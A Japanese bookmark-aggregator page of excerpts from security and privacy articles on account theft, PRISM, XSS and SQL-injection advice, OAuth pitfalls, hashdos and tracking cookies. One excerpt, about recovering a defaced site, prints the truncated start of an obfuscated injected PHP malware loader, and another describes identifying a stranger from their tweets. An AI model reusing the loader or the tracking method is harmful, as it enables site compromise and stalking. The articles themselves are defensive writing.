50,000 ドルの価値がある Twitter アカウントが盗まれたその経緯 : にぽたん研究所
ひろしまさん (廣島さん) は、これまでたった 1 文字の Twitter アカウント @N を持っていました。 何故「持っていました」と、過去形なのかというと、どうやら先日、巧妙な罠に、本人ではなく 2 社の有名 IT 関連企業がハメられたことによって、ひろしまさんの稀少なそのアカウントが第三者によって盗まれてしまったそうなのです。 2014/02/26 追記: 記事掲載時点では「持っていました」と過去形で表現していますが、ひろしまさん本人によるツイートで、2014/02/25 の昼過ぎ (日本時間 2014/02/26 の早朝) に、この事件によって盗まれてしまったアカウント @N がようやく取り戻されたことがわかりました。 Order has been restored. — Naoki Hiroshima (@N) February 25, 2014 解決まで一ヶ月以上という相当な
「人生破壊のプロ」
松井博 Brighture English Academy 代表。趣味はウクレレとかハイキングとかDIYとか旅行などなど。在米20年。シリコンバレーに住みつつ、日本とアメリカとフィリピンで会社経営しています。最近は英語教育がライフワークになりつつある。 詳細プロフィールを表示 LA在住のカイラ・ロウズは、駆け出しの女優さんです。ある日、彼女は自宅のバスルームでちょっとポーズして自分の写真をスマホで複数回撮影。その中に乳首が露出している写真が１枚だけありましたが、そもそも誰に見せるつもりもない、ポーズ研究のための写真でしたから、自分のコンピュータに転送するとそのまま忘れていました。 それからしばらくのこと。親友からアルバイト中のカイラへと電話がかかってきたのです。彼女はその内容に愕然としました。「Is Anyone Up? 」というウエブサイトに、カイラの乳首が露出した写真が載っているという
米NSAの極秘計画「PRISM」が明るみに - 大手ウェブサービスの情報を多岐にわたって収集 - WirelessWire News（ワイヤレスワイヤーニュース）
米国家安全保障局（National Security Agency、NSA）によるベライゾン加入者の通話記録の収集が発覚したのに続いて、今度はアップル、マイクロソフト、グーグル、ヤフーなどあわせて9つのウェブサービスを対象に、ユーザーの電子メールや文書、写真、利用記録など多岐にわたる情報の収集を意図したNSAとFBIの計画が存在することが明らかになった。名指しされた各社からは一様に関与を否定する声明が出されるいっぽう、オバマ政権関係者からは「国内に居住する米国民をターゲットにしたものではない」との情報も出てきているようだ。 Washington Post（WP）が入手した同計画の資料には、マイクロソフト（Microsoft）、グーグル（Google）、ヤフー（Yahoo）、フェイスブック（Facebook）、アップル（Apple）、AOL、Skype、YouTube、PalTalkという具
「クロスサイトスクリプティング対策」でGoogle検索して上位15記事を検証した
昨年の11月にブログエントリ『「SQLインジェクション対策」でGoogle検索して上位15記事を検証した』という記事を書いたところ、非常に好評で、「次はXSSについて書いてください」という要望をいただいておりました。中々XSSについては手がついておりませんでしたが、ようやく書いてみました。以下のURLで検索した結果の上位15位の記事を検証しました。 http://www.google.co.jp/search?q=クロスサイトスクリプティング対策&pws=0 検索結果は変動するため、私が検索した際の結果をEvernoteの公開ノートとして記録しています。 1～10位 11～20位 記事の「正しさ」の検証基準としては、IPAの「安全なウェブサイトの作り方改訂第5版」を参考に、最低限として以下が記述されているかどうかを確認しました。 HTMLのエスケープ処理を行う 属性値はダブルクォートで囲む
後付けでトラッキング機能が有効化されることについて、はてなとTwitterの場合 - 最速転職研究会
前: http://d.hatena.ne.jp/mala/20120308/1331193381 はてなのその後の話 http://hatena.g.hatena.ne.jp/hatenabookmark/20120313/1331629463 話題になってからの対応が遅い、という人がチラホラいたけれど、別に対応はそれほど遅いというわけでもないと思う。 これは近藤さんがSXSWというイベントに行っていて日本にいなかったためで、収益にも影響する話なので即断できなかったのだろう。 こういう時にあとさき考えないで不良社員が勝手に広報したり、勝手に修正しても良いと思う(個人の感想です) 公平のため記しておくとHUG Tokyoというイベントで大西さんにおごってもらった(はてなの脆弱性をちょくちょく報告しています) Twitterの話 先日、Twitterが外部サイト上でのボタン、ウィジェットでト
Shibuya.XSS アウトラインメモ
Shibuya.XSS テクニカルトーク#1 : ATND に参加してきたので、その時のメモ。 Shibuya.XSS Shibuya.XSSまとめ – Togetter DOM Based XSSの傾向と対策 – mala Shibuya.XSSで発表してきました – 金利0無利息キャッシング – キャッシングできます – subtech 機械的なスキャンで見つけづらいXSS location.hash経由で発火が多い、 サーバ側にアクセスログが残りづらい ビーコンでlocation.hashを記録する事も可能だけど、実行順序で潰される事がある location.hashでの問題 XHR2 どんな時に見つけにくい パラメーターをパースして利用してる場合 ソースを読まないと見つけにくい。 難読化されてるとしんどい レガシーコード どうするのがいいのだろうか バリデーション? バリデーション
malaさんや高木浩光さんのインターネット・プライバシー問題における動きの感想 : 状況が抉る部屋
2012年03月10日08:51 malaさんや高木浩光さんのインターネット・プライバシー問題における動きの感想 カテゴリインターネット 最近のmalaさんや高木浩光さん(Twitterアカウント)をTwitterなどで拝見させていただいて、まとまった感想があったので、ブログ書く。この文章は特に何か新しい見解や、問題提起をしたいわけではない。ただの感想です。僕はインターネット広告代理店でプランナーをしていたことがある。当時、僕はmalaさんや高木浩光さんのようなインターネットにおけるプライバシー問題について、警告を発している技術者の人を知らない、ただのインターネット広告屋だった。 この文章を書く上で、事前に断っておきたいのは、僕がインターネット広告代理店で働いていたのは4〜6年前なので、今現在のところはどうなのかはわからない。 当時、インターネット広告メニューの流行りとして、個人の属性に強
【Twitter実験】つぶやきだけで個人を特定できるのか？ | オモコロ
こんにちは、セブ山です。 みなさんはTwitterでどんなつぶやきをしていますか？ おそらく、今日の予定をつぶやいたり、ランチの写真をアップしたり、あなたの「今」を仲の良い友達に向けてつぶやいていることでしょう。 しかし、本当にそのツイートはあなたの友達だけが見ているのでしょうか？ もし、知らない誰かにあなたのつぶやきを覗かれていたとしたら…？ つぶやいた内容を手掛かりに個人を特定されてしまうかもしれませんよ！？ 今回は、そんな個人情報垂れ流し社会に警鐘を鳴らす実験をおこないます！！ ■ルール説明 １．Twitterの検索機能を使って「渋谷なう」とつぶやいているアカウントを探します。 ２．「渋谷なう」の検索結果をもとに、さらに詳細な個人情報を垂れ流しているアカウントを割り出します。 ３．そのアカウントのつぶやきをこっそり監視して、個人を特定し、実際に捕まえるためにハンター（セブ山）が渋谷の
高木浩光＠自宅の日記 - ID番号が秘密なのか、それとも氏名・生年月日が秘密なのか
■ ID番号が秘密なのか、それとも氏名・生年月日が秘密なのか SuicaやEdyの登場によって、カードに記載の番号が新たな問題をもたらすであろうことは、8年前に関心を持ち、何度か書いた。 Edyナンバーは易々と他人に知らせてよい番号なのか, 2004年2月29日の日記 Edyナンバーはどのように使われるものか, 2004年7月11日の日記 許諾なしに公表されるEdyナンバーとSuica番号, 2004年7月11日の日記 その後、EdyナンバーやSuicaのIDiは無闇に掲示されることはなくなり、問題は起きなかった。コンビニのam/pmがEdyを用いて独自に展開していた「club ap」でも、利用者登録にはam/pm店舗のレジで印刷してもらう「仮パスワード」を必要とするようになっており、まあ一応ちゃんと設計されていた。*1 ユビキタス社会の歩き方(1) もらったEdyはam/pmで使わない。
単なる OAuth 2.0 を認証に使うと、車が通れるほどのどでかいセキュリティー・ホールができる
In some of the feedback I have gotten on the openID Connect spec, the statement is made that Connect is too complicated. That OAuth 2.0 is all you need to do authentication. Many point to Identity Pro… 英語読みたくないという人のために簡単に解説すると… OAuth 2.0 の implicit flow を使って「認証」をしようとすると、とっても大きな穴が開きます。 カット＆ペーストアタックが可能だからです。 OAuth 認証？は、図１のような流れになります。 図１ OAuth 認証？の流れ 一見、問題なさそうに見えます。しかし、それはすべてのサイトが「良いサイト」ならばです。 Site_A
ハッシュテーブルに対する攻撃手法のはなし
ハッシュテーブル実装に対する攻撃とは 昨年12月末にドイツで開催されたCCC（Chaos Communication Congress）において、"Effective Denial of Service attacks against web application platforms"（Webアプリケーションに対する効率的なDoS攻撃）と題した発表が行われました。タイトルに「Webアプリケーション」とついてはいますが、この問題はWebアプリケーションに限ったものではありません。以下の三つの条件が揃ったアプリケーションであれば例外なく、DoS攻撃の餌食となる危険があります。 ハッシュテーブルというデータ構造を使っている ハッシュ値を計算するアルゴリズムが「脆弱」である ハッシュテーブルに登録するデータをプログラム外部から指定できる ハッシュテーブルとその問題 Wikipedia（日本語版）
スマートフォンアプリケーションでSSLを使わないのは脆弱性か
このエントリでは、スマートフォンアプリケーションの通信暗号化の必要性について議論します。 はじめに 先日、スマートフォンアプリケーションのセキュリティに関するセミナーを聴講しました（2月8日追記。講演者からの依頼によりセミナーのサイトへのリンクをもうけました）。この際に、スマートフォンアプリケーションの脅威に対する共通認識がまだないという課題を改めて感じました。その課題を痛感できたという点で、セミナーは私にとっては有益でした。 このため、当ブログではスマートフォンアプリケーションの話題をあまり取り上げていませんでしたが、今後は、とりあげようと思います。まずは、スマートフォンアプリケーションでは暗号化を必須とするべきかという話題です。この話題は、前記セミナーでもとりあげられていました。 暗号化の目的は何か まず、暗号化の必要性を論じるためには、暗号化の目的を明確にする必要があります。前記セミ
脆弱性を突かれて Web サイトを改ざんされてウィルス呼び出しコードを埋めこまれたファイルの調べ方と除去と対応作業と申請手続きについて
改ざんされてウィルス配布コード埋めこまれてから復旧までの作業や申請の手続きについてまとめていきます。 追記: 「改ざんされた場合そのものの対処方法」という意味で書かせて頂きました。phpMyAdmin の脆弱性についてではなく全般的な内容となっております。誤解を与える表現となってしまい申し訳御座いません。 今回埋めこまれた不正なコード 実際のコードは改行やスペースがなくなって一行のコードとなっておりますので非常に気づきにくいです。 <?php @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) { $eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZlTz5mROtHWHdWfRt0ZupmVRNTU2Y2MVZkT8h1Rn1XULdmbqxGU7h1Rn
本当は怖い文字コードの話 記事一覧 | gihyo.jp
運営元のロゴ Copyright © 2007-2024 All Rights Reserved by Gijutsu-Hyoron Co., Ltd. ページ内容の全部あるいは一部を無断で利用することを禁止します。個別にライセンスが設定されている記事等はそのライセンスに従います。
Webアプリケーションに対する広範なDoS攻撃手法(hashdos)の影響と対策
28C3(28th Chaos Communication Congress)において、Effective Denial of Service attacks against web application platforms（Webプラットフォームに対する効果的なサービス妨害攻撃）と題する発表がありました（タイムスケジュール、講演スライド）。 これによると、PHPをはじめとする多くのWebアプリケーション開発プラットフォームに対して、CPU資源を枯渇させるサービス妨害攻撃(DoS攻撃)が可能な手法が見つかったということです。この攻撃は、hashdos と呼ばれています。 概要PHPなど多くの言語では、文字列をキーとする配列（連想配列、ハッシュ）が用意されており、HTTPリクエストのパラメータも連想配列の形で提供されます。PHPの場合、$_GET、$_POSTなどです。 連想配列の実装には
チェックしておきたい脆弱性情報＜2012.01.12＞
1月1日までに明らかになった脆弱性情報のうち、気になるものを紹介します。それぞれ、ベンダーが提供する情報などを参考に対処してください。 Webサイトに対するハッシュテーブルの衝突を悪用したサービス不能（2011/12/29） 2011年12月29日に、マイクロソフトからセキュリティアドバイザリー（2659883）「ASP.NETの脆弱性により、サービス拒否が起こる」が公開されました。ここでは、このアドバイザリーで取り上げられている、脆弱性（CVE-2011-3414、ハッシュテーブルの衝突がサービス拒否を引き起こす可能性のある脆弱性）がどのような問題なのかを概観します。 脆弱性（CVE-2011-3414）は、Webアプリケーションに対して、CPU資源を浪費させるサービス不能攻撃を許してしまうという問題で、2011年12月28日に28th Chaos Communication Congr
楽天あんしん支払いサービス利用者が大量にポイント奪われまくってる件
流れ的には貯めに貯めてた楽天ポイントが12月26日から大量に、かつ、勝手に使われたという被害が相次ぎ問題視されている。特に目立ったポイントの使われ方として、現在テレビCMなどでも流れている「テイルズウィーバー」「マビノギ英雄伝」といったオンラインRPGの運営会社、ネクソンのゲームポイントを購入するというなんともマニアックな使われ方をしている点だ。 開始からわずか5日 オンラインゲーム配信事業を行うネクソンは12月21日、楽天が提供する決済サービス「楽天あんしん支払いサービス」の導入を開始した。 http://ascii.jp/elem/000/000/658/658281/ ネクソンが楽天あんしん支払いサービスを導入してから6日目。 ネクソンの楽天あんしん支払いサービスで、楽天ポイントが勝手に使用されてしまい... - Yahoo!知恵袋 ネクソンの楽天あんしん支払いサービスで、楽天ポイン
サードパーティCookieの歴史と現状 Part1 前提知識の共有 - 最速転職研究会
Web開発者のためのサードパーティCookieやらトラッキングやらの問題点について三回ぐらいに分けて書きます。 この文章は個人的に書いていますので、おい、お前のところのサービスがサードパーティCookieに依存してるじゃねーかというツッコミがあるかもしれないが、そういうことを気にしているといつまで経っても公開できないという問題が出てしまうので、そんなことはお構いなしに書く。ちなみに例外なく自社サービスに対してもサードパーティCookieに依存するな死ねと言っている。これはWebプログラマー観点で、自分がサービス開発に関わる上で知っておかねばならないだろう知識として十数年間だらだらとWebを見ていて自然に知っていたものと、あるいは興味を持って率先して調べたものが含まれている。ググッて直ぐに分かる程度の用語の定義的なことは書かない。あくまでWebサイト制作者側からの観点なので、ブラウザ開発関係
「SQLインジェクション対策」でGoogle検索して上位15記事を検証した - ockeghem's blog
このエントリでは、ネット上で「SQLインジェクション対策」でGoogle検索した結果の上位15エントリを検証した結果を報告します。 SQLインジェクション脆弱性の対策は、既に「安全なSQLの呼び出し方」にファイナルアンサー（後述）を示していますが、まだこの文書を知らない人が多いだろうことと、やや上級者向けの文書であることから、まだ十分に実践されてはいないと思います。 この状況で、セキュリティのことをよく知らない人がSQLインジェクション対策しようとした場合の行動を予測してみると、かなりの割合の人がGoogle等で検索して対処方法を調べると思われます。そこで、以下のURLでSQLインジェクション対策方法を検索した結果の上位のエントリを検証してみようと思い立ちました。 http://www.google.co.jp/search?q=SQLインジェクション対策 どこまで調べるかですが、以前NH
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
Interactive Reading Community (Ver.6)
